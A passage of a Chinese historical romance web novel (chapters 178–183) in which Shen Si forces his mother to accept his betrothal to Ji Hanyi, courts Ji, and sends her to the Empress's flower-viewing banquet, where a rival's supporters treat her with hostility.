沈肆自然知道季含漪看他是因为什么,顾晏想去蔚县,那便一辈子在京外,只要他安分,老老实实的一直呆在那里,若他真有才干,他可以提携他,只是别回京就好。
手指点在围栏上,沈肆看着那姣好的身形,又想起今日握着季含漪手心的柔软,心间发热,又低头看向手上的耳坠,那上头仿佛还有季含漪握过的柔软温度,又想要见她了。
原来一日不见如隔三秋,他终于也体会到了。
第178章 订婚
沈肆说的没错,不过才过了两天,沈府与承安侯府侯府定亲的消息便传遍了满京城,就连季含漪也听说了。
季含漪正带着容春带着帷帽去花铺里买些花回去,在花铺里就听着路人在说沈府与承安侯府的婚事。
季含漪光是听了几句就明白了,为什么沈肆要带她去承安侯府,为什么荣庆大长公主要认她为义女。
只是她还没有见过沈家人,两家就这么将亲事定下了?那沈家知不知道定亲的人是她?
季含漪心里头还是有点忐忑的,虽说不知道沈肆到底是怎么打算的,但还是信任沈肆。
另外一头,沈府内。
沈肆坐在母亲屋内,迎头就被一张请柬扔到了身上。
桌面哗哗的碎瓷声落到地上,沈老夫人指着沈肆,手指都在发抖,半晌都没说出一句话。
帘子外的丫头已经许久没有看到老夫人生这么大的气了,纷纷大气也不敢喘,一个个轻手轻脚的往门外退。
正打算来陪沈老夫人说话的白氏站在帘子外头也听到了动静,打听一句沈肆也在里头,心里头隐隐也知晓了什么事,无非就是和承安侯府定亲那事。
这事当真突然的很,有些奇怪,想说进来劝劝,哪知道才喊了一声,就被老夫人一句怒声:“出去,都出去!”
白氏哪里见过老夫人生这么大的气,吓了一跳,赶紧拍着胸口退了出去。
屋内沈肆依旧面容冷淡的坐在椅子上,任由母亲发泄怒火,神情冷静的饮了一口茶。
沈老夫人看着沈肆的这个模样气得发抖,指着他道:“你如今当真是了不得了,姻亲这么大的事情,我这个做母亲的,竟然是从旁人那里听到的。”
“就连这婚帖还是别人给我看的。”
“你将这婚帖尽数发出去,你问过我的意思了没有?!”
沈肆这才抬头看向母亲:“这件事母亲现在不也知晓了?”
沈老夫人被沈肆这冷淡又淡定的神情又气得不行,抖着声音道:“你是有什么脸面说这话的?姻亲大事,即便定亲也要父母长辈三书六礼,你做过哪一样了?!”
沈肆不冷不淡的将脚边的婚帖弯腰捡起来,又放在旁边的小桌上,又淡淡道:“这些现在做也来得及,旁人也不会知晓。”
沈老夫人简直要被沈肆给气晕了。
这哪里是什么定亲,沈肆将婚帖发了满京城,京城上下全都知晓了他要成婚了,偏偏就她这母亲的不知晓,他这是在逼着所有人答应。
沈老夫人被气得不行,但又看沈肆这副模样,知晓自己生再大的气,这事情已经满城风雨,就算再生气也无用。
沈肆这么做,不就是为了逼她?
她冷静下来,又深吸一口气,缓缓坐在了大躺椅上,看向沈肆:“你给我说清楚,承安侯府哪里有适婚女儿?荣庆大长公主膝下只有两个儿子,她最大的孙女也才十四,人家都还没及笄,怎么下个月和你成亲?!”
说着沈老夫人到底是气不过,几乎是咬牙切齿的问沈肆:“和你成婚的到底是谁?!”
沈肆看着母亲怒火,脸上依旧如常,抿了下唇,声音冷清又清晰:“季含漪。”
看着母亲瞪大的眼睛,沈肆又补了一句:“她如今是荣庆大长公主的义女。”
沈老夫人都只觉得自己一口气没喘上来,差点就要送在这不肖子手上了。
到底是终于忍不住,尊贵体面了一辈子的老夫人,拿起手边的香橼就朝着沈肆身上扔过去:“你是不是要气死我才甘心?!”
那香橼结结实实的砸在沈肆的肩膀上,又滚落在地上,发出沉闷的声音。
沈肆微微低着头,目光沉静落在地上,声音依旧冷静:“母亲,我这一生只会娶她,请母亲成全。”
“不然沈家无后,母亲别怪儿子。”
沈老夫人呆呆的听着沈肆的话。
一瞬间所有的愤怒,所有的力气,都在这一刻全都没了。
与之而来的是一股深深地无力。
这个她唯一的儿子,她历来的骄傲,知晓家里无论
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如何都不会答应,知晓她姐姐更不会答应,不会让皇上下圣旨,便先斩后奏,不惜逼迫她的母亲。
她失神看着沈肆,喃喃道:“你父亲还在外游历没有回来,要是他听说了你这个消息,听说你做了这样大逆不道的事情,娶了一个被谢家和离的人,你父亲会不会打死你,会不会被你气死?”
沈肆默了默,又低声道:“母亲总有一天会明白我,我心里容不下旁人,不得已才这样做。”
沈肆的话才一说完,沈老夫人就厉声道:“我不明白你!”
“当初我问过你的,问过你喜不喜欢季家女儿,是你说的不欢喜,你现在又做什么?你就非得事事与我作对是不是?”
沈肆唇边紧抿,平静的脸色上难得的现出一丝裂痕与痛色。
他低沉道:“因为从前错过了一次,儿子不想再错过第二次了。”
说着他又看向母亲:“荣庆大长公主认了含漪为义女,将随身的手镯赠于她,母亲该明白什么意思,不是任何人都能够入荣庆大长公主的眼的。”
“含漪也不会让母亲失望,她也值得儿子的真心。”
“婚期还有不到一月,三书六礼,一应事项,也要拜托母亲了。”
沈老夫人怔怔看着沈肆,这一瞬间什么话都说不出来了。
她哑了半晌,又问他:“你的婚事定得这么急,怎么安排得过来?”
“这件事慢慢来,半年后成亲也不迟。”
沈老夫人想的是她知晓沈肆的性子,认定的事情很难回转,现在说服他定然不行,那便先搁置着,反正别人也不知晓真正成亲的人是季含漪。
等她慢慢说服沈肆,再上承安侯府一趟,与荣庆大长公主好好商议,换个人也不是不行。
只是话一落下,沈肆淡淡的声音便传来:“若不是考虑着还有一应流程,儿子是希望这个月就能娶她的。”
“请帖已经发出去了,母亲也说姻亲不是儿戏,若母亲不操办,圣上赐给我的侯府宅院正好也可以办。”
第179章 不管用什么法子也要娶
沈老夫人被沈肆的话惊住,一口气都差点没提上来。
这话更里的意思,就是他要分府别过了。
沈老夫人彻底愣住。
为了一个季含漪,沈肆竟然将话说到这个份上。
她又沈肆那双好似看透一切的眼神又朝她看来:“母亲该知晓,儿子做这么多,都是为了能够娶含漪,不管用什么法子也要娶。”
沈肆的声音淡淡,但里头的力道清晰,沈老夫人如何听不出来沈肆声音里的意思。
他当真是算的好一步棋。
给了季含漪身份,让她往后嫁来沈家不被人看低,还叫外人看起来门当户对,又先斩后奏,把成婚的事情闹得这么大,让她顾及着家族脸面,不得不妥协。
自己儿子这是根本就没打算让自己同意,他偏要娶,一意孤行也要娶。
沈老夫人闭了闭眼,又看向沈肆:“她究竟有什么好的?”
沈肆靠着椅背,视线淡淡看着窗外明媚的光线,声音很低:“她的好只有儿子知晓,放在心间上许多年,儿子忘不了她,便是她最大的好。”
说着沈肆深黑的眼眸又看向母亲:“总有一天,母亲也会看见她的好。”
沈老夫人冷笑:“被夫家和离,这样的女子,我可从来不欣赏。”
沈肆撑着椅扶手站了起来,理了理衣袍,依旧是冷静的声音:“谢家做的事情,即便她不和离,儿子也让要让她从谢家脱身。”
“这事不怪她,是儿子逼着谢家的主动和离的。”
沈老夫人瞪大了眼,不敢相信沈肆竟然会做这样的事情。
又听沈肆道:“三书六礼还请母亲这半月内去承安侯府办妥,婚期一到,儿子定然要娶她,不管有没有办妥,儿子都去承安侯府将她娶过来。”
沈肆说完这话,也再没有留下的意思,直接就转身离去。
沈老夫人失神看着沈肆的背影,又忽然叫住沈肆的背影:“你什么时候带她来见见我?”
沈肆背影微微一顿,又低低道:“成亲后,母亲总是能见到的。”
沈老夫人撑着额头长叹了声,这是也不让她见了,像是生怕她会对人做出什么来似的。
这儿子是逼着她不得不这么做了。
沈肆一走出去,文安就凑到了他跟前,小声道:“皇后娘娘请侯爷这时候入宫一趟。”
说着文安又低低说了句:“荣庆大长公主也在皇后娘娘那儿的。”
沈肆眼神微微动了动,知道该来的总会来,又往外走。
到了夜里的时候,季含漪早早就沐浴完往床榻上躺着看书,她并不怎么担心,只要跟着沈肆一起,兵来将挡水来土掩,又有什么过不去的。
既然答应了沈肆,她便什么准备都做好了。
倒是容春忧心忡忡的问:“现在婚事都传的满京城都知晓了,还不知晓是姑娘呢,要是沈家的知晓是姑娘了怎么办?会不会为难姑娘?”
季含漪觉得沈肆会安排好一切的,叫容春别操这个心。
容春一边给季含漪擦干长发,一边又忍不住好奇的问:“大长公主给姑娘的匣子里是什么?”
季含漪稍微顿了下,轻声道:“是城北的一座宅院,是大长公主给我的嫁妆。”
容春惊声,又很快歇下去:“不愧是大长公主,出手竟这么大方。”
季含漪觉得大长公主的确大方,但其中可能也有沈肆的原因。
但承安侯府的人看着都很和善,季含漪往后也要常去看看的。
她昏昏欲睡,打着哈欠,但这时候若红忽然进来来说沈肆来了。
若红便是沈肆送来的丫头,在她屋外当差的,虽说那是个陌生丫头,但因着是沈肆送来的,季含漪还是很放心。
季含漪听了若红的话,当真不愿动,身上还穿着里衣,长发也半干的披着,但又想沈肆来定然也有事情,还是硬撑着坐起来,又懒洋洋的叫容春赶紧来给她穿衣。
其实季含漪也有件事想问问沈肆。
可偏偏这时候若红又开口说:“沈大人说姑娘可能睡了,就等在帘子外说几句话就是。”
季含漪脑中一空,问道:“沈大人在帘子外头?”
若红应了一声:
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“就在奴婢身边。”
季含漪只觉怔了怔,差点没缓过来。
她的视线不由看向不远处的那道帘子,一想到沈肆就站在那帘子外,季含漪就忽然有股紧张和头皮发麻来。
也是,若红是沈肆送来的丫头,怎么敢拦着沈肆的。
季含漪还是叫容春赶紧为她穿好衣裳,又将还有点湿了发丝用根带子束在身后,又才打算出去外间。
总不能真的隔着一道帘子说话。
帘子掀开,先映入眼帘的是沈肆那宽阔颀长的身形,身上还带着夜里过来的湿润和凉气,一身黑衣,正低头往她脸上看。
沈肆身上独属于他的沉香味袭来,让季含漪莫名想起那夜经历,不由有点忐忑。
她有些迟疑的抬头,对上沈肆那幽深的目光时,半句话说不出来。
沈肆却朝前走了一步,目光一瞬不瞬的落到季含漪身上,视线扫过季含漪还微微湿润的长发,被她松松拢在一起用一根粉色带子系在身后,松松挽就的白净玉色,如琼脂玉露,叫他一瞬间为她倾慕。
又想起人昨日在大长公主那里分明紧张又努力镇定自若的模样,沈肆眼里放柔,浑身为她软下来。
在季含漪因为他的往前后又退一步时,他哑声道:“外头寒凉,你头发未干,就在屋内就好。”
他说着一寸寸往她走近,一寸寸在深夜走进她的闺房,走近一个女子最隐秘的私密地,仿佛正踏入她的心里,浑身便起了股燥意。
季含漪见沈肆进来,身上冷冷清清的,也只能应下,叫容春快去上热茶来。
季含漪坐在那张芙蓉贵妃榻上,沈肆坐在旁边的一张玫瑰椅上。
中间摆了小桌,放了茶水,还有碟柿子饼和小果盘。
沈肆垂眸,这屋内尽是季含漪身上的味道,软软的幽香,他的心就滚烫起来。
他想,他特意在这个时候来,本就是带着私心。
至少如今在她身边,自己才是最能亲近她的人。
沈肆看向季含漪,先开了口:“我们的亲事已经定下了,在四月中。”
第180章 婚期不到一月
季含漪听沈肆说完,还有些没反应过来。
她没想到这么快,算算日子,不过才二十日,连一月都不到。
不禁看向沈肆好奇的问:“为什么这么急?”
沈肆黑眸微动:“若是不急,皇上的赐婚先下来了就不好办了。”
季含漪一想,的确是这样的,还是沈肆考虑的周全。
总归她下了决定,早晚也不是要紧的事情。
她点头,又看向沈肆:“沈大人放心,我准备好了的。”
沈肆看着季含漪那格外认真严肃的神情稍顿了下,又含了抹笑意。
这一瞬的季含漪,在他眼中带了丝认真的娇憨,叫人明白她心底的干净,如清澈的溪流。
他垂下眼帘,视线落在季含漪那规规整整的粉色衣裳上,看着她那百蝶纹样的裙摆,又沙哑道:“万事别怕,我都会在的。”
深夜的寂静,沈肆的那句别怕,在有一瞬间拨动了季含漪的心弦。
她是有些担忧的。
但沈肆说他一直会在,她就不担忧了。
她轻轻点头,嗯了一声。
沈肆目光沉沉如水的又慢慢落到季含漪在烛光中轻晃的脸庞上,那般干净又白净的一张脸庞,他很想靠近她。
身体已经情不自禁的微微往她面前弯了弯,历来都是笔直又严正的姿态,此刻微微躬着后背,用最放松的姿态缓慢靠近。
沈肆又道:“上回我给你的钥匙还在么?”
季含漪忙道:“还在的。”
沈肆的眸子看着季含:“钥匙下头还有一张纸,那张纸是地契,给你的。"
季含漪听了这话,忙又起身去将那匣子拿出来,递到沈肆的面前:“沈大人,我不能再要了。”
“沈大人帮我我那么多,我帮沈大人也是心甘情愿的。”
沈肆看着面前季含漪递过来的那匣子,没有接过来,他对上季含漪那双漂亮的杏眸,只道:“那处宅院是给你母亲置办的,我们成亲后你需要住进沈家,你母亲再回顾家不方便。”
“那院子里的丫头护卫都已经安排妥当,你母亲能够在那里好好养病。”
“再有那里离沈府不远,只隔了两个胡同,你想去看望你母亲的时候,随时都能够去。”
季含漪握紧了匣子,还是觉得这么厚重的礼她不要意思要。
离沈府很近的宅院,那一定很贵了。
沈肆看出季含漪的犹豫:“那处宅院于我来说不过一处宅子而已,你放心收下。”
说着沈肆抬手,宽大的掌心握住季含漪的手背缓缓推回去:“你就当作是聘礼。”
季含漪低头怔然看着手上的东西,手背被沈肆碰到的时候,还是轻颤了下,下意识的就忙缩回了手。
反应过来后她怔怔看向沈肆,沈肆那冷清的眸子也在看她,如果就这般推诿下去,好似也并不会有什么结果。
母亲的确也不可能回顾家去。
其实沈肆的安排很好。
她张了张唇,还是点了头。
沈肆又道:“明日搬过去吧。”
季含漪诧异:“为什么这么快?”
沈肆淡笑了下:"谢家的人知晓了这里,为避免些麻烦,早些过去也好。"
又深深看向季含漪:“新的住处暂时不用告诉顾家的人,免得谢家的人再利用顾家人找到你,就连你表哥也最好不好告诉,等我们婚事定下,你那时候是我的妻,谢家的人不敢再来扰你。”
沈肆说这话,这自然不是最要紧的原因,最要紧的原因是,沈肆不想让顾晏再出现在季含漪的面前。
这两日他特意叫人给顾晏手头上多安排些事情拖着他,但他毕竟是季含漪的表哥,没对季含漪做过什么,沈肆还不想对顾晏出手的太过。
季含漪听着沈肆的安排,想了想觉好似也是这样,又看沈肆那安排好一切的沉稳的眸子,犹豫一下还是答应了。
她又想起想要问沈肆的事情,又问道:“之前我表哥想要去蔚县,但是如果我表哥现在要是不想去了,可以不去么?”
季含漪问得很是小心翼翼,上回给顾晏的信还没有回复,季含漪也不知晓他到底是什么意思,毕竟这事是因她而起的,她也想都皆大欢喜。
沈肆挑眉,要不是他在人后动手,顾晏即便想去蔚县做县令也是不可能的,他不过顺水推舟让他如愿以偿,自然不可能让顾晏再回来。
沈肆稍稍凝思,又看向季含漪:“这是吏部的事情,我并不好插手。”
他目光又掠过季含漪那稍稍有些失望的神情,又低低道:“但是若你真的想要这么做,我也会尽量想法子。”
季含漪知晓,沈肆能这么说已经十分难得了,她也
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并不想太为难了沈肆,就道:“我表哥还没说他的意思,等他说了再说吧。”
沈肆唔了一声,又看季含漪一眼,其实很想再多呆一会儿,但见她的理由都已经说完,好似再留下来,便让她觉得刻意了。
看着季含漪那柔美的脸颊,他心里顿了半晌,还是克制着站起了身:“你早些入睡,我先走了。”
季含漪跟着站起来要送,沈肆站在帘子前,看着季含漪走来的身形,单薄纤细的模样,看起来很柔弱,早春天冷,他没叫她送,即便只是在她这儿坐一会儿便满足了。
季含漪看着沈肆的背影,等沈肆走后又忍不住低头看向匣子里的那把钥匙,又将下面的那张地契拿出来在灯下失神的看了看。
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到了第二日的时候,沈肆就派了人来接她们。
沈肆安排得很周到,万事没让她们动手,不过半个时辰,所有的都收拾好了。
很快就到了沈肆说的那处宅院,这处宅院明显比之前住的那处要精雅更多,也大了些,主要是后院很大,布置的景色也很雅致,后院还种了许多的海棠花,顾氏很是喜欢。
因为后院开满了花,顾氏便有了好精神的往后院去剪花枝
季含漪站在正堂处,正有个婆子给给季含漪一个册子,又交代着院子的大小事,旁面还站了几个管事婆子。
册子里是沈肆配的下人,所有人的**契也一并给了季含漪,往后便是这座宅院的人了。
季含漪稍微清点了下,又认了认人,再单独见了管事嬷嬷交代了一些事,便作罢了。
季含漪又问了管家一句院子里的开支,那管家笑道:“这个姑娘不必担心,这里的一切开支,都在沈侯爷的账目上。”
季含漪想说沈肆已经给了她院子,现在又给了她这么多下人,甚至连一切用度都包揽了,季含漪总觉得亏欠好多。
但以她现在手头上的银子,定然是还不上的,不由心里头有点煎熬。
但这些和管家没什么说的,只让管家先退下去,又将**契拿去给母亲,让母亲将这些东西都放好,往后可能后半生会一直住在这里了。
接下来的两日里,沈肆没有来,应该是很忙的,但是在第三日夜里的时候,沈肆来了,他未进来,像是路过这里,坐在马车里等她。
第181章 含漪,你总要习惯的
季含漪上马车的时候,沈肆正靠在身后闭目养神。
颀长的身形雅致,俊美又矜贵的脸庞微仰,在忽明忽暗的莲花铜灯下,脸上神色透着一股淡淡的疲倦,又有些看不清,却更显得高贵来。
马车内的光线的确很暗,暗的连衣裳上的花纹都有些看不清。
季含漪视线落在那桌上的灯上,铜灯上的开口很小,应该是沈肆闭目养神,故意将灯调暗了。
季含漪进来的时候,沈肆没有动作,她便小声朝着沈肆开口:“沈大人?”
沈肆哑哑嗯了一声,又低沉道:“含漪,坐在我身边。”
马车内其实除了沈肆的身边,也再没有别的地上可以坐了。
季含漪不由想起沈肆从前坐的马车都很宽敞,两边都可以坐人,现在不用那辆宽敞的马车了么。
再有沈肆那声音里低低里带着一股沙哑,让季含漪的目光忍不住落在沈肆露出来的喉结上,又赶紧移开视线,规规整整的坐在沈肆的身边。
只是才一坐下,放在膝盖上的手就被沈肆伸过来的手给握住。
他食指上的松绿戒带着冰凉,落在季含漪掌心时,凉的她微微一颤。
季含漪一愣,反应过来下意识想要将手收回去,沈肆却依旧紧紧握着,她的力气抵不过他的,不由又诧异的侧头看向沈肆,疑惑又小心的开口:“沈大人?”
沈肆依旧闭着眼睛,拇指摩挲在季含漪的掌心上,感受到她想要收回去的手,他静静握的紧了紧,才缓缓睁开眼睛,低头对上季含漪的视线。
他的目光缓缓落在季含漪身上,见着她带着些惊慌和小心的眼神,握着她手的动作也丝毫没有要松手的意思。
沈肆的肩膀慢慢往季含漪低垂,带着一分深深地沉色,又道:“含漪,你总要习惯的。”
“往后在人前,我们是感情极好的夫妻,即便牵手,在旁人眼中也是最自然的事情。”
沈肆说话的时候,带着一股淡淡酒气的炙热扑到季含漪脸上,季含漪轻轻怔了怔。
她知晓沈肆说的都是有道理的,毕竟是欺瞒圣上的事情,可是现在马车内没有别人,只有他们……
她想要说话,却又见沈肆忽然低头,伸手将她拢在了怀里,另外一只手按在她的后背上,又将下巴轻轻抵在她的肩膀上。
热气尽数往季含漪的脖子上扑,季含漪全然僵住了身子不敢动了。
上回沈肆见季含漪是将酒抹在了身上,今夜的沈肆的确是饮了些酒。
他定亲的事情沸沸扬扬,到处都是猜测,许多人邀请赴宴,今日皇上又摆了宴席,推脱不了,又被灌了酒,出了宫后,唯一的念想就是想要见季含漪。
想要抱着她。
季含漪也闻到了沈肆身上不容忽视的酒味,所以也没有推开沈肆,只是静静被沈肆搂着,又小声唤沈肆:“沈大人是不是醉了?”
季含漪想着沈肆要是真的醉了的话,得叫文安赶紧进来。
沈肆却摇头,那高挺的鼻梁又往季含漪的脖子上凑了凑,季含漪偏着脖子,忍着痒,又去唤文安去准备醒酒汤来,只是唤了几声文安没应,正想要伸手掀开帘子看看文安到底在哪儿,明明刚才她上马车的时候还看着人在的。
只是她的手才伸到一半,就被沈肆伸来的手稳稳的握住,带着股不容抗拒的力道,又被他给拽回来了。
身子被更紧的抱在沈肆怀里,沈肆沙哑的声音就落在她耳边:“明日有一场赏花宴会邀你,你别怕,我公事忙完了就会去的。”
季含漪在短暂的错愕下很快回神,又很快应他:“好。”
她又试着推了推沈肆的腰,主要被沈肆抱得太紧,季含漪也根本碰不到沈肆的胸膛,只能推他的腰了。
只是她才轻轻推了推,也没怎么用力,就听到沈肆低低沙哑的闷哼声,季含漪便不敢动了。
随即她又听到沈肆低沉的声音:“含漪,别动。”
季含漪僵了下,连放在沈肆腰上的手指都有些手足无措的悬在那里。
沈肆的身上真的很沉,沉的季含漪都有点喘不过气来。
沈肆除了抱着季含漪,就没有其他的动作了。
他的掌心依旧一只手握着季含漪的手,另外一只手按在她的后背上。
他身上带着纸张和沉香混着的一股淡淡酒味,季含漪闻着却不反感,反而觉得有一丝好闻。
她觉得有些晕乎乎的,脑中乱想些什么也不
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知道,就听到沈肆低沉的声音又传来:“明日若是我不在的时候受了委屈,便告诉我。”
“这些日我本不想让你见人的,但是皇上下了旨意,你不得不去皇后办的赏花宴上。”
季含漪想了想,又问道:“明日去赏花宴,是皇后娘娘要见我么?”
沈肆的声音依旧沙哑,性感的嗯了一声。
他又低头往季含漪的颈间凑近,闻着她幽幽香气,又哑声道:“含漪,要记得我的话,我选择了你,便只能是你,无论旁人说了什么,你听了什么,都要永远信我。”
沉稳的声音带着一股叫人心安的力道,季含漪稍怔,又轻轻点头。
她知晓自己定然不是沈家满意的儿媳的,即便要找其他人逃避赐婚,自己也定然不是最好的人选。
但沈肆选择了她,沈肆要她帮忙,她便要做好,这样做才能对得住沈肆这些日对她的恩惠。
季含漪很认真道:“沈大人放心,我会尽量好好表现的。”
沈肆听着季含漪的这一声好好表现,那认真的语气,好似正面临着天大的事情,听着糯糯的可爱。
他不由低笑了声,唇边碰过季含漪脖子上的皮肤,他看着她颈边的小痣,心又开始发热,身上发紧。
真的很想立刻与她耳鬓厮磨,想她与自己亲近,想她日日都呆在自己身边,最好一刻也别离开他。
从前还觉得她即便没在身边还能忍受,如今知晓马上就要得到,却多一天等着也是煎熬。
季含漪听着沈肆的低笑声,也没明白他为什么忽然笑。
沈肆又低头又用下巴抵在季含漪秀气的肩膀上,小小的肩膀定然承受不住他的重量,他只是轻轻靠着,闭着眼睛,沉溺在这软香缱绻的温柔里。
在这只有两人的马车中,唯独属于他们两人。
他还不能时时进她的闺房,不能窥探她日常的每一个角落,她睡着的时候是什么模样,她晨起的时候又是什么模样。
还有她懒懒的,有点小脾气的样子。
他都不知晓,但他很愿意去一点点探求,这在他心里是一件仅仅想起来便觉得心头发暖的事情。
而不是此刻他唯能借着酒意与她亲近。
第182章 撩拨她,引诱她
沈肆抱着季含漪隔了很久才起身。
他直起身的时候,唇边轻轻擦过季含漪的耳畔,季含漪那里格外的敏感,忍不住身上都跟着一颤。
刚才被沈肆抱着,因着想着他醉了,心里头没乱想,这会儿耳畔被沈肆唇边碰过,他呼吸的热气铺在上头,脸颊就一下子热了起来,有点茫然的不知所措。
沈肆感受到季含漪敏感的反应,无声的笑了笑,想着要是咬在那里,她又是什么反应。
他真的很期待。
可惜,这会儿还不能,不然得将人吓得落荒而逃。
他一只手撑在车壁上,故作依旧还醉的模样,将季含漪圈在怀里,低头热气全洒在季含漪耳边,眯着眼看着她白净耳廓一点点变得粉红到通红,又垂眸看着她垂下的眼帘上,无措的轻颤。
最后视线落在她秀挺的鼻尖上,可爱极了。
他在不动声色的撩拨她,引诱她,然后再恰到好处的克制,叫她也跟着心颤。
至少她夜里大抵会翻来覆去的想这会儿的暧昧,他想引诱着她也一点点渴望他的身体,他的触碰,他的亲近。
现在应该点到为止了。
沈肆坐直了身,彻底松开了怀里的人。
他的视线一瞬不瞬的看着怀里因着他的离开还有些茫然的水眸,看着她脸颊那一点微微的薄红,幽深的眸子动了动,又滚了滚喉咙。
直到看到季含漪的眼眸看过来,他才收回视线,闭着眼,任由季含漪放心的看向他。
最好好好看看他的脸,多看一会儿,或许她会喜欢。
季含漪的确看着沈肆失神了好一会儿,她此刻脑中全是沈肆那呼吸落在自己耳畔上的那种心跳与心颤,又看沈肆闭着眼,她像是在偷偷看他,觉得此刻的沈肆生了一张妖孽的脸,她甚至觉得自己都要被他给迷惑住了。
她正看得失神,沈肆却又忽然睁开眼对她视线对上,却是平静一片,像是没有发觉季含漪在偷看他,而是沙哑道:“含漪,早些入睡。”
季含漪愣了愣,又赶紧后知后觉的点头。
下了马车的时候,她忍不住伸手抚向自己的脸颊和耳边,热热的,脑中全都是沈肆凑近呼吸在她耳边,带给她的那股轻颤。
夜里入睡的时候,季含漪在榻上翻身了好几回,总感觉耳边痒痒的。
又想起刚才马车昏暗里沈肆那张明灭不定又俊美的脸庞,那眼神幽深的好似要将人也吸进去一般。
季含漪坐起身,单薄的身形暴露在依旧有些凉的帐内,失神了好一会儿,想起明日还有赏花宴,告诉自己别乱想,又躺下入睡。
第二日一早,门口就停了马车,马车外是文安侯着,显然是沈肆让他来的。
坐上马车后,季含漪微微深吸一口气,其实还是有一点紧张的。
皇后娘娘的赏花宴在南苑行宫,在京城郊外,也并不算远。
到了南苑入口递了名帖才能进去,季含漪一进去,就有人过来引着季含漪往皇后娘娘那里去。
文安跟了季含漪一小段路,低声道:“季姑娘放心,小的就在不远处候着,万一出了事,侯爷很快会来。”
季含漪点头。
今日行宫内园子里来往的贵女很多,个个一身繁华锦绣,如春日竞开的花卉,争奇斗艳。
季含漪被引到了一处阁楼前,她微微一抬头,便见着皇后娘娘坐在上头,身边还坐着好几位年轻的贵女。
而那位高贵的皇后娘娘,正垂眸向她看来,神色里带着与沈肆同样的与生俱来的尊贵,眸子不冷不淡,是疏离与高高在上。
季含漪注意到皇后娘娘的目光,那淡淡看来的一眼没有情绪,又收回了视线。
季含漪凝神静气,跟着宫侍提着裙摆上了阁楼。
阁楼内并没有坐多少人,此刻坐在皇后身边的,都是一些年轻的贵女,还有两名雍容华贵的贵妇人。
那两名贵妇人季含漪认得,一位是永清候府的侯夫人,一位是福安公主。
永清侯是太
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后娘家弟弟的儿子,是太后的亲侄儿,手上虽说没有什么实权,但手上的良田和庄子,都已经够他们富贵荣华了。
福安公主是丽太妃的女儿,与皇后娘娘一直交好,这会儿坐在皇后身边也并不奇怪。
季含漪自一上去,所有人的目光便都落在了她的身上,不管是探究还是其他,季含漪只屏住心神,姿态恭敬的过去一一问安。
福安公主认不得季含漪,忍不住问:“这是哪家姑娘?”
说话间又往季含漪的身上打量过去,这里忽然来一个名不见经传的姑娘,显然这姑娘有些不一般。
只见季含漪身上穿着湖蓝织金缠枝莲纹的立领大袖衫,领口处是一寸宽的珍珠,下头是沉香色的马面裙,耳边一对简单的红宝石耳坠,发上首饰精巧简单,又不失庄重,看起来不浓不淡,很是舒适。
又看季含漪那张低垂的面容,眉目如画,眉眼精致,又那细腰窄肩,一身雅致仪态,叫人看得出神。
皇后淡淡看了季含漪一眼,又淡笑道:“是当年季璟的女儿。”
皇后一说季璟,所有人都明白了。
季璟当年可谓是出尽了风头,生了一张艳丽的面容,春风得意,步步高升。
只是唏嘘那个结局。
福安公主又认真看了看季含漪的面容,抿了抿唇,若是季璟的女儿,她生了这样一张带了一分艳色的面容,却是说的过去的。
又想当初父皇还想将她许配给季璟,也是造化弄人,季璟那时候已经有心仪的人了,谁能想这些年过去,季璟的女儿竟然已经这么大了。
皇后温和的对着季含漪含笑道:“叫你过来你也不必拘谨,你父亲才高八斗,想来你也不差,今日这场春日赏花宴,也正是作诗的时候,才叫你过来的。”
说着又道:"你就去宝琼身边坐下吧。"
季含漪认不得宝琼是谁,正想着怎么应付,就听一道温柔如水的声音响起:“季姑娘,来我身边来吧。”
第183章 被针对
那声音很好听,季含漪听到声音抬头看去,只见着穿着一身粉白宝相纹立领裙的女子,那女子肤如白雪,眉眼高雅,身上带着一股淡淡冷清,却又看着格外漂亮。
旁边有人介绍,那是太后娘娘的外甥孙女明昌郡君,季含漪便也忙与她福礼,再过去她身边。
她才过去,孙宝琼便挽着季含漪的手含笑,低声一一为她介绍坐在这儿的其他姑娘。
季含漪听着看了一圈,心里也大致明白了,坐在这里的要么是皇亲国戚的女儿,要么是皇后娘娘格外欣赏的贵女,要么就是与沈家交好的贵女,旁边还坐着沈素仪与上回沈府诗会上的李漱玉。
季含漪便也起身一一问过。
皇后对着季含漪道:“宝琼自小也饱读诗书,最是知书达礼,待会儿你们应该是能说到一起的。”
季含漪听着这话忙应下。
说话间,皇后又让人去端来一盆开得正盛的瑶台玉凤的菊花来,笑道:“这菊花是宝琼父亲从宣州送来的异种,虽不是秋日,也开得正艳,正好为赏花宴添些雅致。”
说着皇后对着孙宝琼含笑道:“宝琼,你父亲送来的花,就由你为她题个诗吧。"
孙宝琼含着笑意,大方温和的站起来:“舅母这般抬举,那我便献丑了,不过待会儿可别笑话我。”
说着她思量一下道:“我听前人一句宁可枝头抱香死,只是这菊开在春日,不见霜色,倒显得那句苍凉了。"
说着她走了两步,又笑道:“不若反其意,不接秋风色亦浓,甘从炎序玉玲珑。莫道寒香唯晚节,此生何必待霜逢。”
孙宝琼的这一句落下,满场寂静。
接着便响起一片夸赞声。
季含漪抬头看向孙宝琼,这诗的确对的很好,也很有意境,若是让她来对,也不一定能对的比她更好。
且孙宝琼一身从容的气派,眸中含星,笑意端方,一身十足十的高门贵女的派头。
封宁郡主最先站起来夸赞:“我便说我宝姐姐的诗天下第一。”
封宁郡主是太后的亲孙女,皇上亲弟弟齐王最小的小女儿,齐王一直在封地,太后觉得在宫里有些寂寞,便将封宁郡主接到了身边来养,自小也是在宫里长大的,这些日孙宝琼来了宫里,又同住在太后宫里,两人时刻在一起,关系越发的好。
封宁郡主说这话的时候,眼神淡淡看了孙宝琼旁边的季含漪一眼,眼里稍稍有些不屑。
旁人或许还不知晓与沈候定亲的人是谁,但前天太后娘娘为了这事特意叫了荣庆大长公主进宫一趟细问,一问才知竟然是季含漪,不仅被大长公主收了义女,还与沈候定了亲。
本来太后娘娘接宝姐姐来,就是为了嫁给沈候爷的,现在竟然出了这样的事情,封宁郡主也想要为宝姐姐出口气,让她在众人面前出丑。
孙宝琼看着封宁郡主笑:“你可不许说这话,场上这么多姐妹,莫捧杀了我。”
封宁郡主性情张扬,当即笑道:“反正在我心里,宝姐姐的诗词最好。”
说着她眼神瞟了眼季含漪,又笑道:“反正比有些只会投机,又没有真本事的人好。”
那天她虽说听到大长公主夸季含漪,但在封宁郡主看来,也不过是投机取巧误打误撞,一个和离过的人,除了身上那身会勾引人的狐媚子本事,还能有什么本事。
季含漪感受到封宁郡主看在自己身上的眼神,她依旧端正的坐着,眼神余光微微看过去,与封宁郡主的视线对上,对方眼里的倨傲与不屑,对她没有多少遮掩。
